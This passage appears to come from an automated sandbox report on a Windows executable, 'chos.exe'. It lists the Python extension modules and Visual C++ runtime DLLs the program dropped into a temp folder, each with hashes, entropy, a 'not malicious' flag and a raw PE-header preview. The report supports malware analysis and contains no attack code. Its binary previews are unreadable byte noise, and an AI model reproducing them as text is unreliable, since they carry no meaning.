                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@................../....../...../......+.......*......-......&....................,....Rich...........................PE..d...X..f.........." ................P........................................p............`.........................................@'..|....'..P....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata....... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..(....`.......&..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_strxor.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10240
                                                                                                                                                                                                                                            Entropy (8bit):4.625428549874022
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:flipBddzAvzrqTOy/ThIz014mlxuLnkC75JiSBhsPeSzteXuDVZqYNIfcX6gHCWx:Cddz2KTnThIz0qfteR5DVwYkcqgHCWt
                                                                                                                                                                                                                                            MD5:F24F9356A6BDD29B9EF67509A8BC3A96
                                                                                                                                                                                                                                            SHA1:A26946E938304B4E993872C6721EB8CC1DCBE43B
                                                                                                                                                                                                                                            SHA-256:034BB8EFE3068763D32C404C178BD88099192C707A36F5351F7FDB63249C7F81
                                                                                                                                                                                                                                            SHA-512:C4D3F92D7558BE1A714388C72F5992165DD7A9E1B4FA83B882536030542D93FDAD9148C981F76FFF7868192B301AC9256EDB8C3D5CE5A1A2ACAC183F96C1028B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@................../....../...../......+.......*......-......&....................,....Rich...........................PE..d...Z..f.........." ................P........................................p............`......................................... '..t....'..P....P.......@...............`..(....!...............................!..8............ ...............................text...h........................... ..`.rdata..`.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..(....`.......&..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):120400
                                                                                                                                                                                                                                            Entropy (8bit):6.6017475353076716
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
                                                                                                                                                                                                                                            MD5:862F820C3251E4CA6FC0AC00E4092239
                                                                                                                                                                                                                                            SHA1:EF96D84B253041B090C243594F90938E9A487A9A
                                                                                                                                                                                                                                            SHA-256:36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
                                                                                                                                                                                                                                            SHA-512:2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140_1.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):49744
                                                                                                                                                                                                                                            Entropy (8bit):6.701724666218339
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
                                                                                                                                                                                                                                            MD5:68156F41AE9A04D89BB6625A5CD222D4
                                                                                                                                                                                                                                            SHA1:3BE29D5C53808186EBA3A024BE377EE6F267C983
                                                                                                                                                                                                                                            SHA-256:82A2F9AE1E6146AE3CB0F4BC5A62B7227E0384209D9B1AEF86BBCC105912F7CD
                                                                                                                                                                                                                                            SHA-512:F7BF8AD7CD8B450050310952C56F6A20B378A972C822CCC253EF3D7381B56FFB3CA6CE3323BEA9872674ED1C02017F78AB31E9EB9927FC6B3CBA957C247E5D57
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.{...{...{...0...y.......y...r.H.p...{...H.......|.......`.......~.......z.....$.z.......z...Rich{...........PE..d...l0.?.........." ...).<...8.......@...............................................b....`A........................................pm.......m..x....................r..PP......D....c..p...........................`b..@............P..`............................text....;.......<.................. ..`.rdata.."#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_asyncio.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70928
                                                                                                                                                                                                                                            Entropy (8bit):6.242470629630265
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:FCIB0WWuqkJS86D6rznO6uqM+lY5ZkesIcydIJvn/5YiSyvT2ETh:FCY0WStDwnOLYY5ZkeddIJvnx7Sy75h
                                                                                                                                                                                                                                            MD5:80083B99812171FEA682B1CF38026816
                                                                                                                                                                                                                                            SHA1:365FB5B0C652923875E1C7720F0D76A495B0E221
                                                                                                                                                                                                                                            SHA-256:DBEAE7CB6F256998F9D8DE79D08C74D716D819EB4473B2725DBE2D53BA88000A
                                                                                                                                                                                                                                            SHA-512:33419B9E18E0099DF37D22E33DEBF15D57F4248346B17423F2B55C8DA7CBE62C19AA0BB5740CFAAC9BC6625B81C54367C0C476EAECE71727439686567F0B1234
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z...........%.....................................................K...................I...........Rich...................PE..d......g.........." ...).d................................................... ............`.........................................`...P.......d......................../.............T...............................@...............(............................text...)b.......d.................. ..`.rdata...O.......P...h..............@..@.data...`...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_bz2.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):84240
                                                                                                                                                                                                                                            Entropy (8bit):6.607563436050078
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
                                                                                                                                                                                                                                            MD5:CB8C06C8FA9E61E4AC5F22EEBF7F1D00
                                                                                                                                                                                                                                            SHA1:D8E0DFC8127749947B09F17C8848166BAC659F0D
                                                                                                                                                                                                                                            SHA-256:FC3B481684B926350057E263622A2A5335B149A0498A8D65C4F37E39DD90B640
                                                                                                                                                                                                                                            SHA-512:E6DA642B7200BFB78F939F7D8148581259BAA9A5EDDA282C621D14BA88083A9B9BD3D17B701E9CDE77AD1133C39BD93FC9D955BB620546BB4FCF45C68F1EC7D6
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).....\......0........................................P......7[....`.............................................H...(........0....... .. ......../...@..........T...........................`...@...............x............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_cffi_backend.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):179200
                                                                                                                                                                                                                                            Entropy (8bit):6.189919896183334
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:X3LjFuaTzDGA3GrJwUdoSPhpRv9JUizQWS7LkSTLkKWgFIPXD0:X3QaT3GA3NSPhDsizTikSTLLWgF0z0
                                                                                                                                                                                                                                            MD5:5CBA92E7C00D09A55F5CBADC8D16CD26
                                                                                                                                                                                                                                            SHA1:0300C6B62CD9DB98562FDD3DE32096AB194DA4C8
                                                                                                                                                                                                                                            SHA-256:0E3D149B91FC7DC3367AB94620A5E13AF6E419F423B31D4800C381468CB8AD85
                                                                                                                                                                                                                                            SHA-512:7AB432C8774A10F04DDD061B57D07EBA96481B5BB8C663C6ADE500D224C6061BC15D17C74DA20A7C3CEC8BBF6453404D553EBAB22D37D67F9B163D7A15CF1DED
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i..#-p.p-p.p-p.p$..p!p.p=.q/p.p=.zp)p.p=.q)p.p=.q%p.p=.q!p.pf..q)p.p9.q.p.p-p.p.p.pe..q)p.p$..p,p.pe..q,p.pe.xp,p.pe..q,p.pRich-p.p........................PE..d..._..f.........." ...).....B......@........................................0............`..........................................h..l....i..................T............ ......0O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...n..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_ctypes.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):131344
                                                                                                                                                                                                                                            Entropy (8bit):6.311142284249784
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
                                                                                                                                                                                                                                            MD5:A55E57D7594303C89B5F7A1D1D6F2B67
                                                                                                                                                                                                                                            SHA1:904A9304A07716497CF3E4EAAFD82715874C94F1
                                                                                                                                                                                                                                            SHA-256:F63C6C7E71C342084D8F1A108786CA6975A52CEFEF8BE32CC2589E6E2FE060C8
                                                                                                                                                                                                                                            SHA-512:FFA61AD2A408A831B5D86B201814256C172E764C9C1DBE0BD81A2E204E9E8117C66F5DFA56BB7D74275D23154C0ED8E10D4AE8A0D0564434E9761D754F1997FC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............h....................................... .......Z....`.........................................P.................................../...........=..T............................;..@............0...............................text............................... ..`.rdata...y...0...z..................@..@.data....$....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_decimal.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):277776
                                                                                                                                                                                                                                            Entropy (8bit):6.5855511991551
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
                                                                                                                                                                                                                                            MD5:F3377F3DE29579140E2BBAEEFD334D4F
                                                                                                                                                                                                                                            SHA1:B3076C564DBDFD4CA1B7CC76F36448B0088E2341
                                                                                                                                                                                                                                            SHA-256:B715D1C18E9A9C1531F21C02003B4C6726742D1A2441A1893BC3D79D7BB50E91
                                                                                                                                                                                                                                            SHA-512:34D9591590BBA20613691A5287EF329E5927A58127CE399088B4D68A178E3AF67159A8FC55B4FCDCB08AE094753B20DEC2AC3F0B3011481E4ED6F37445CECDD5
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....Z...............................................P......W.....`.................................................L........0..........t+......./...@..........T...............................@............... ............................text.............................. ..`.rdata..\...........................@..@.data...8'......."..................@....pdata..t+.......,..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_hashlib.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):64272
                                                                                                                                                                                                                                            Entropy (8bit):6.220967684620152
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
                                                                                                                                                                                                                                            MD5:32D76C9ABD65A5D2671AEEDE189BC290
                                                                                                                                                                                                                                            SHA1:0D4440C9652B92B40BB92C20F3474F14E34F8D62
                                                                                                                                                                                                                                            SHA-256:838D5C8B7C3212C8429BAF612623ABBBC20A9023EEC41E34E5461B76A285B86C
                                                                                                                                                                                                                                            SHA-512:49DC391F4E63F4FF7D65D6FD837332745CC114A334FD61A7B6AA6F710B235339964B855422233FAC4510CCB9A6959896EFE880AB24A56261F78B2A0FD5860CD9
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P...~.......=..............................................!.....`.........................................p...P................................/......X....l..T............................k..@............`...............................text....N.......P.................. ..`.rdata...M...`...N...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_lzma.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):157968
                                                                                                                                                                                                                                            Entropy (8bit):6.854644275249963
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
                                                                                                                                                                                                                                            MD5:1BA022D42024A655CF289544AE461FB8
                                                                                                                                                                                                                                            SHA1:9772A31083223ECF66751FF3851D2E3303A0764C
                                                                                                                                                                                                                                            SHA-256:D080EABD015A3569813A220FD4EA74DFF34ED2A8519A10473EB37E22B1118A06
                                                                                                                                                                                                                                            SHA-512:2B888A2D7467E29968C6BB65AF40D4B5E80722FFDDA760AD74C912F3A2F315D402F3C099FDE82F00F41DE6C9FAAEDB23A643337EB8821E594C567506E3464C62
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...).`...........1.......................................p.......P....`.............................................L.......x....P.......0.......:.../...`..4....|..T...........................P{..@............p...............................text...^^.......`.................. ..`.rdata.......p.......d..............@..@.data........ ......................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc..4....`.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_multiprocessing.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):35600
                                                                                                                                                                                                                                            Entropy (8bit):6.416657776501014
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:6wehui7ZmQW/3OUDxEiNIJntJ5YiSyvSJz2Ec:whuilG+UDxEiNIJntX7Sy+zO
                                                                                                                                                                                                                                            MD5:705AC24F30DC9487DC709307D15108ED
                                                                                                                                                                                                                                            SHA1:E9E6BA24AF9947D8995392145ADF62CAC86BA5D8
                                                                                                                                                                                                                                            SHA-256:59134B754C6ACA9449E2801E9E7ED55279C4F1ED58FE7A7A9F971C84E8A32A6C
                                                                                                                                                                                                                                            SHA-512:F5318EBB91F059F0721D75D576B39C7033D566E39513BAD8E7E42CCC922124A5205010415001EE386495F645238E2FF981A8B859F0890DC3DA4363EB978FDBA7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.Y)v.7zv.7zv.7z..zt.7zf,6{t.7zf,4{u.7zf,3{~.7zf,2{{.7z>-6{t.7zv.6z..7z=.6{s.7z>-:{t.7z>-7{w.7z>-.zw.7z>-5{w.7zRichv.7z........PE..d......g.........." ...). ...>......@...............................................%.....`......................................... E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata..6 ...0..."...$..............@..@.data...p....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_overlapped.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):55568
                                                                                                                                                                                                                                            Entropy (8bit):6.3313243577146485
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:+kMm7HdG/l5fW3UguCE+eRIJWtd7SyJds:+wIQUFCEbRIJWtd6
                                                                                                                                                                                                                                            MD5:A72527454DD6DA346DDB221FC729E3D4
                                                                                                                                                                                                                                            SHA1:0276387E3E0492A0822DB4EABE23DB8C25EF6E6F
                                                                                                                                                                                                                                            SHA-256:404353D7B867749FA2893033BD1EBF2E3F75322D4015725D697CFA5E80EC9D0F
                                                                                                                                                                                                                                            SHA-512:FEFB543D20520F86B63E599A56E2166599DFA117EDB2BEB5E73FC8B43790543702C280A05CCFD9597C0B483F637038283DD48EF8C88B4EA6BAC411EC0043B10A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.{X/.(X/.(X/.(QW_(\/.(H..)Z/.(H..)[/.(H..)P/.(H..)T/.(...)Z/.(X/.(//.(.W.)]/.(.W.)Y/.(...)Y/.(...)Y/.(..3(Y/.(...)Y/.(RichX/.(........................PE..d.....g.........." ...).L...`......@................................................}....`.............................................X................................/......(....f..T............................e..@............`...............................text....J.......L.................. ..`.rdata...8...`...:...P..............@..@.data...@...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_queue.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):33552
                                                                                                                                                                                                                                            Entropy (8bit):6.446391764486538
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:7GpPCRjqMu/AoS6rf7sif0NHQibZIJ9UoOHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:fkTM6rg9aeZIJ9Uok5YiSyvTo2Et
                                                                                                                                                                                                                                            MD5:1C03CAA59B5E4A7FB9B998D8C1DA165A
                                                                                                                                                                                                                                            SHA1:8A318F80A705C64076E22913C2206D9247D30CD7
                                                                                                                                                                                                                                            SHA-256:B9CF502DADCB124F693BF69ECD7077971E37174104DBDA563022D74961A67E1E
                                                                                                                                                                                                                                            SHA-512:783ECDA7A155DFC96A718D5A130FB901BBECBED05537434E779135CBA88233DD990D86ECA2F55A852C9BFB975074F7C44D8A3E4558D7C2060F411CE30B6A915F
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).....:.......................................................r....`.........................................PD..L....D..d....p.......`..l....T.../..........@4..T............................3..@............0...............................text............................... ..`.rdata..2....0....... ..............@..@.data........P.......>..............@....pdata..l....`.......D..............@..@.rsrc........p.......H..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_socket.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):83728
                                                                                                                                                                                                                                            Entropy (8bit):6.331814573029388
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
                                                                                                                                                                                                                                            MD5:FE896371430BD9551717EF12A3E7E818
                                                                                                                                                                                                                                            SHA1:E2A7716E9CE840E53E8FC79D50A77F40B353C954
                                                                                                                                                                                                                                            SHA-256:35246B04C6C7001CA448554246445A845CE116814A29B18B617EA38752E4659B
                                                                                                                                                                                                                                            SHA-512:67ECD9A07DF0A07EDD010F7E3732F3D829F482D67869D6BCE0C9A61C24C0FDC5FF4F4E4780B9211062A6371945121D8883BA2E9E2CF8EB07B628547312DFE4C9
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m|.ll}..o|.ll}..h|.ll}..i|.ll}..m|.ll}.lm}.ll}..m|.ll}..a|.ll}..l|.ll}..}.ll}..n|.ll}Rich.ll}........PE..d.....g.........." ...).x.......... -.......................................`.......s....`.........................................@...P............@.......0.........../...P..........T...........................@...@............................................text....w.......x.................. ..`.rdata.. y.......z...|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_sqlite3.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):128272
                                                                                                                                                                                                                                            Entropy (8bit):6.294497957566744
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:N+tZdKmXhyn/qO6ItCpz6j5yQyshiKftdIJvQJL:NGZVwnxHssj5lhiYR
                                                                                                                                                                                                                                            MD5:D4E5BE27410897AC5771966E33B418C7
                                                                                                                                                                                                                                            SHA1:5D18FF3CC196557ED40F2F46540B2BFE02901D98
                                                                                                                                                                                                                                            SHA-256:3E625978D7C55F4B609086A872177C4207FB483C7715E2204937299531394F4C
                                                                                                                                                                                                                                            SHA-512:4D40B4C6684D3549C35ED96BEDD6707CE32DFAA8071AEADFBC682CF4B7520CFF08472F441C50E0D391A196510F8F073F26AE8B2D1E9B1AF5CF487259CC6CCC09
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............................................................[.....`..........................................{..P...P{.........................../..............T...............................@...............H............................text...t........................... ..`.rdata.............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_ssl.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):181520
                                                                                                                                                                                                                                            Entropy (8bit):5.972827303352998
                                                                                                                                                                                                                                            Encrypted:false
